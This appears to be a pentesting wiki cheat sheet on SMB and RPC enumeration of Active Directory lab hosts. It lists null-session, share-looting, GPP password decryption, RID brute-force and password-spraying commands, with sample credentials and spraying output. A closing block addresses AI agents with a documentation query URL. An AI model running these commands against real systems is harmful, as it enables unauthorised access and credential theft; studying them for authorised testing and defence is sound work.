# SMB & RPC Enumeration ## enum4linux ``` enum4linux IP ``` ## rpcclient ``` rpcclient -U '' 10.129.229.11 rpcclient> enumdomusers hit tab twice rpcclient> querydispinfo ``` ## smbclient #### Null session ``` smbclient //10.129.230.0/support-tools -N ``` ``` smbclient -L //IP -U '' -P '' ``` #### Connect to a share Connect and download recursively all resources ``` smbclient //IP/IPC$ smbclient //10.129.229.121/Replication smb: \> recurse on smb: \> prompt off smb: \> mget * ``` SMB Null session 
smbclient -L //IP -U '' -P ''
## smbmap ``` smbmap -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.129.229.121 ``` Group Polict Preferences (GPP) ``` gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ ``` ## CrackMapExec smb #### Determine Password Policy ``` crackmapexec smb 10.129.228.111 --pass-pol ``` ``` └─# crackmapexec smb 10.129.96.157 -u ./users.txt -p ./passwords.txt SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False) SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent ``` ### SID bruteforcing {% embed url="" %} ``` crackmapexec smb 10.129.96.157 -u hazard -p stealth1agent --rid-brute ``` ### Password bruteforce #### Users / Users Try out first username combinations as a password ``` crackmapexec smb 10.129.228.111 -u ./users.txt -p ./users.txt --continue-on-success ``` #### Users / Username (1) try username as the password (only one attempt per user) ``` crackmapexec smb 10.10.85.7 -u ./users.uniq -p ./users.uniq --continue-on-success --no-bruteforce ``` #### Users with empty password try users with empty passwords ``` └─# crackmapexec smb 10.10.85.7 -u ./users.uniq -p '' --continue-on-success --no-bruteforce ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://hackerlab.gitbook.io/wiki.hackerlab.cz/infra-pentesting/active-directory-ad-initial-attacks/smb-and-rpc-enumeration.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.